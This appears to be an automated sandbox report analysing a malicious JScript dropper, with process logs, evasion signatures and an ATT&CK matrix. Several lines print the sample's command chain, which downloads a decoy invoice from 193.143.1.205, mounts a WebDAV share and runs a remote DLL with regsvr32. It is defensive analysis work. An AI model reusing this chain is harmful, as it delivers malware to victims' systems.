Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5564			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4307			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3392	Thread sleep count: 5564 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3392	Thread sleep count: 4307 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5308	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6404	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7072	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1616	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.2180621151.00000278DC2F0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182390787.00000278DC288000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2178827767.00000278DC2F0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182612430.00000278DC2F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3408164914.0000024A3BC2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3409801693.0000024A41254000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1647911459241874440.js	13%	Virustotal		Browse
1647911459241874440.js	8%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

